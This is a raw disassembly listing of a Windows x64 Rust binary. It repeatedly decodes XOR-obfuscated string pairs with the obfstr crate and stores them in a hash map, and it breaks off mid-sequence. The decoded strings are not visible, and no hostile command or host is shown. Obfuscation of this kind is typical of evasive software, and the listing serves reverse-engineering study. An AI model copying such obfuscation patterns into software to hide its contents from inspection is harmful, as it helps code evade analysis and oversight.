movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004d71f
test rax, rax
je 0x14004d71f
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b8473]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xc8a0f41a
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h057418acc06e1149
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x14035b110]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ab5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0xaa
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x2d
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0xec
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0xcd5571db
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1402c1a5f]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x3e95fb59
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::hfe6a08d9d0d5ca23
movabs rcx, 0xe9a1d534cfd2263e
xor rcx, qword [rax]
movabs rdx, 0x73e93942b3e0aa57
xor rdx, qword [rax + 8]
movabs r8, 0xeae36e41cceb3762
xor r8, qword [rax + 0x10]
movabs r9, 0xa0a58d84624ab754
xor r9, qword [rax + 0x18]
movabs r10, 0x62a8cc5833b5a4ce
xor r10, qword [rax + 0x20]
movabs r11, 0x6e57c2e91f5dc8e9
xor r11, qword [rax + 0x28]
movabs rdi, 0x1f9a9625575f946c
xor rdi, qword [rax + 0x30]
movzx eax, byte [rax + 0x38]
xor al, 0xca
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x39
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a20]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004d9b0
test rax, rax
je 0x14004d9b0
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402bb5ed]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xe1be4f86
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::haa4fb837352fd452
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x14035b110]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ab5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x50
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x95
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0x5b
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0xa06d133e
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1402b71b0]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xe8e316c2
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h6b0d5075ec1d77da
movabs rcx, 0xf3baaf0524cd3a65
xor rcx, qword [rax]
movabs rdx, 0x90aab4726d11d928
xor rdx, qword [rax + 8]
movabs r8, 0x7699ac2d02b67b60
xor r8, qword [rax + 0x10]
movabs r9, 0x679ff273209999c3
xor r9, qword [rax + 0x18]
movabs r10, 0xa8f686f1a3ea0dfb
xor r10, qword [rax + 0x20]
movabs r11, 0xbb9ff33c7d3bc645
xor r11, qword [rax + 0x28]
movabs rdi, 0x4e8c7685faf269c0
xor rdi, qword [rax + 0x30]
movzx eax, byte [rax + 0x38]
xor al, 0xcb
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x39
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a38]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004dc41
test rax, rax
je 0x14004dc41
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b995e]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x4e79d49
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::hfc76e842d3f8da0d
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x14035b110]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ab5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x93
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x57
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0xad
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0x90da5bdd
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1402c206c]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x1f34c83d
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h569744e73a9f07ca
movabs rcx, 0xda0eaecb370bddf1
xor rcx, qword [rax]
movabs rdx, 0x39d5d5c5f52eed20
xor rdx, qword [rax + 8]
movabs r8, 0xa8bb4c37eecbba13
xor r8, qword [rax + 0x10]
movabs r9, 0xdb1ca533e6845989
xor r9, qword [rax + 0x18]
movabs r10, 0x8f6a5d4fb8e6bf2e
xor r10, qword [rax + 0x20]
movabs r11, 0x275f349c5cb83aee
xor r11, qword [rax + 0x28]
movabs rdi, 0x551156e2f8565b3a
xor rdi, qword [rax + 0x30]
movzx eax, byte [rax + 0x38]
xor al, 0x84
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x39
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a50]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004ded2
test rax, rax
je 0x14004ded2
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402ba747]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x5510ed82
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h1d8cb3e94f0cef45
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x14035b110]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ab5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x36
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0xf
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0x70
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0x1dfb3c49
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1402b22e5]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xcaee1f63
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h1d28b5f792b1fcfe
movabs rcx, 0xf65b4a767e320396
xor rcx, qword [rax]
movabs rdx, 0x8eb0f2ad7dad7a7c
xor rdx, qword [rax + 8]
movabs r8, 0xc851e2ef8c46413f
xor r8, qword [rax + 0x10]
movabs r9, 0x3e7363d4758365c9
xor r9, qword [rax + 0x18]
movabs r10, 0x247898e5133090d0
xor r10, qword [rax + 0x20]
movabs r11, 0x880edb5cdbe049b7
xor r11, qword [rax + 0x28]
movabs rdi, 0x1ff685193fcb2f2e
xor rdi, qword [rax + 0x30]
movzx eax, byte [rax + 0x38]
xor al, 0xd3
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x39
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a68]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004e163
test rax, rax
je 0x14004e163
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, str._Jz_P
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xf1164286
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::hbc620666461ad363
mov r15, qword [rax]
mov rdi, qword [rax + 8]
mov esi, dword [rax + 0x10]
movzx eax, byte [0x14035b110]
mov edx, 0x14
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055c3b
xor esi, 0x90a0ea44
movabs rcx, 0x71c97dffa6fca710
xor rdi, rcx
movabs rcx, 0xb94981ae92c1144a
xor r15, rcx
mov qword [rax], r15
mov qword [rax + 8], rdi
mov dword [rax + 0x10], esi
mov qword [rsp + 0x900], 0x14
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0x14
lea rax, [0x1402bb432]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x82500e5e
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h69b02df262866f34
movabs rcx, 0xe164e762ee6f8cd8
xor rcx, qword [rax]
movabs rdx, 0x9fd10e5dcc9bad66
xor rdx, qword [rax + 8]
movabs r8, 0x23fba0a77d44db50
xor r8, qword [rax + 0x10]
movabs r9, 0xaf26fcc4aa020150
xor r9, qword [rax + 0x18]
movabs r10, 0xcb4cedf6776d7fb
xor r10, qword [rax + 0x20]
movabs r11, 0xf077bc5f3883e968
xor r11, qword [rax + 0x28]
mov edi, 0xf877ab81
xor edi, dword [rax + 0x30]
movzx eax, word [rax + 0x34]
mov ebp, eax
xor bpl, 0x42
shr eax, 8
xor al, 0x2d
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov dword [rsp + 0x110], edi
mov byte [rsp + 0x114], bpl
mov byte [rsp + 0x115], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x36
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a80]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004e3e0
test rax, rax
je 0x14004e3e0
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b8970]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xff7f4504
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h385ad7cc1b73afae
mov rdi, qword [rax]
mov esi, dword [rax + 8]
movzx ebp, word [rax + 0xc]
movzx eax, byte [0x14035b110]
mov edx, 0xe
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055b85
xor esi, 0xc6b76c0c
movabs rcx, 0x5aafcc1ab91cd6bf
xor rdi, rcx
mov ecx, ebp
shr ecx, 8
xor cl, 0xcb
xor bpl, 0x77
mov qword [rax], rdi
mov dword [rax + 8], esi
mov byte [rax + 0xc], bpl
mov byte [rax + 0xd], cl
mov qword [rsp + 0x900], 0xe
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0xe
lea rax, [0x1402bd590]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x29c50b98
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::hce917e2cb95c4ff6
movabs rcx, 0xca888b5c68dcc831
xor rcx, qword [rax]
movabs rdx, 0x6c2944baa78fb30d
xor rdx, qword [rax + 8]
movabs r8, 0xa7197dcd37afa45
xor r8, qword [rax + 0x10]
movabs r9, 0x9d53013729cb78b9
xor r9, qword [rax + 0x18]
movabs r10, 0x5e73a4ac53c66e2d
xor r10, qword [rax + 0x20]
movabs r11, 0x9b9de00c76200a3f
xor r11, qword [rax + 0x28]
movabs rdi, 0x39222753d4120b82
xor rdi, qword [rax + 0x30]
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x110], rdi
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x38
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rbp, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rbp
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a98]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs r15, 0x8000000000000000
cmp rax, r15
je 0x14004e648
test rax, rax
je 0x14004e648
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402b798e]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x9482bc24
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h7bcfa22694c8374e
mov esi, dword [rax]
movzx eax, byte [0x14035b110]
mov edx, 4
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055c4a
xor esi, 0x6c2de380
mov dword [rax], esi
mov qword [rsp + 0x900], 4
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 4
lea rax, [0x1402c1f26]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x1bcafbc9
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h699ac89c4135ec1a
movabs rcx, 0x2029a4fc613c3864
xor rcx, qword [rax]
movabs rdx, 0x5a57ff9a8273fa47
xor rdx, qword [rax + 8]
movabs r8, 0xfbb4a9011394448
xor r8, qword [rax + 0x10]
movabs r9, 0x1e3566f1bbc64564
xor r9, qword [rax + 0x18]
movabs r10, 0xbf6ad030ef88ef04
xor r10, qword [rax + 0x20]
movabs r11, 0x80b33ade48f8f246
xor r11, qword [rax + 0x28]
movabs rdi, 0xc1eb81d01af9ac6a
xor rdi, qword [rax + 0x30]
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x110], rdi
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x38
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
mov qword [rsp + 0xbe0], rbp
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1ab0]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
cmp rax, r15
je 0x14004e872
test rax, rax
je 0x14004e872
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402bea44]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x15895109
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h62fd6d34a7b8d859
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx eax, byte [0x14035b110]
mov edx, 6
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055b51
mov ecx, edi
shr ecx, 8
xor cl, 0xc2
movzx ecx, cl
shl rcx, 0x28
xor dil, 0xe1
movzx edx, dil
shl rdx, 0x20
or rdx, rcx
xor esi, 0x12c074ef
mov dword [rax], esi
shr rdx, 0x20
mov word [rax + 4], dx
mov qword [rsp + 0x900], 6
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 6
lea rax, [0x1402b5f92]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xa6327c79
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h4b3d6bb57493cae6
movabs rcx, 0xd72ae935062a9199
xor rcx, qword [rax]
movabs rdx, 0x223d3130cb8d8a53
xor rdx, qword [rax + 8]
movabs r8, 0x193a2bae0775149d
xor r8, qword [rax + 0x10]
movabs r9, 0x5f6b6e38d5b774a9
xor r9, qword [rax + 0x18]
movabs r10, 0xba9f523567229aae
xor r10, qword [rax + 0x20]
movabs r11, 0x207a0e7f4be29179
xor r11, qword [rax + 0x28]
movabs rdi, 0x5f92c562570e0a05
xor rdi, qword [rax + 0x30]
mov ebp, 0xe0ee595d
xor ebp, dword [rax + 0x38]
movzx eax, word [rax + 0x3c]
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x110], rdi
mov dword [rsp + 0x118], ebp
mov ecx, eax
xor cl, 0x5f
mov byte [rsp + 0x11c], cl
shr eax, 8
xor al, 0x7b
mov byte [rsp + 0x11d], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x3e
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1ac8]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xe0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004eb03
test rax, rax
je 0x14004eb03
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x1402bde9e]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x2f92ea3a
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h4abc3cd071b4c1a9
mov esi, dword [rax]
movzx edi, byte [rax + 4]
movzx eax, byte [0x14035b110]
mov edx, 5
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055ae9
xor dil, 0xa2
xor esi, 0xc3025acf
mov byte [rax + 4], dil
mov dword [rax], esi
mov qword [rsp + 0x900], 5
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 5
lea rax, [0x1402b533b]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xbf3f13c1
lea rsi, [rsp + 0xe0]
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h4570da7b5a1832e2
movabs rcx, 0x65de09811cd321d5
xor rcx, qword [rax]
movabs rdx, 0x297ef75539210536
xor rdx, qword [rax + 8]
movabs r8, 0x6d3686000511bf7f
xor r8, qword [rax + 0x10]
movabs r9, 0xc001b4f4032dc79b
xor r9, qword [rax + 0x18]
movabs r10, 0xbfd99c4d2576b8db
xor r10, qword [rax + 0x20]
movabs r11, 0xf07b3646065f36c5
xor r11, qword [rax + 0x28]
movabs rdi, 0xa068713240c41eff
xor rdi, qword [rax + 0x30]
movabs r15, 0x5197badf6782a4b5
xor r15, qword [rax + 0x38]
mov ebp, 0x7f4d3e99
xor ebp, dword [rax + 0x40]
movzx eax, byte [rax + 0x44]
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0x100], r10
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x110], rdi
mov qword [rsp + 0x118], r15
mov dword [rsp + 0x120], ebp
mov qword [rsp + 0xf90], rsi
xor al, 0x16
mov byte [rsp + 0x124], al
mov qword [rsp + 0xf98], 0x45
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
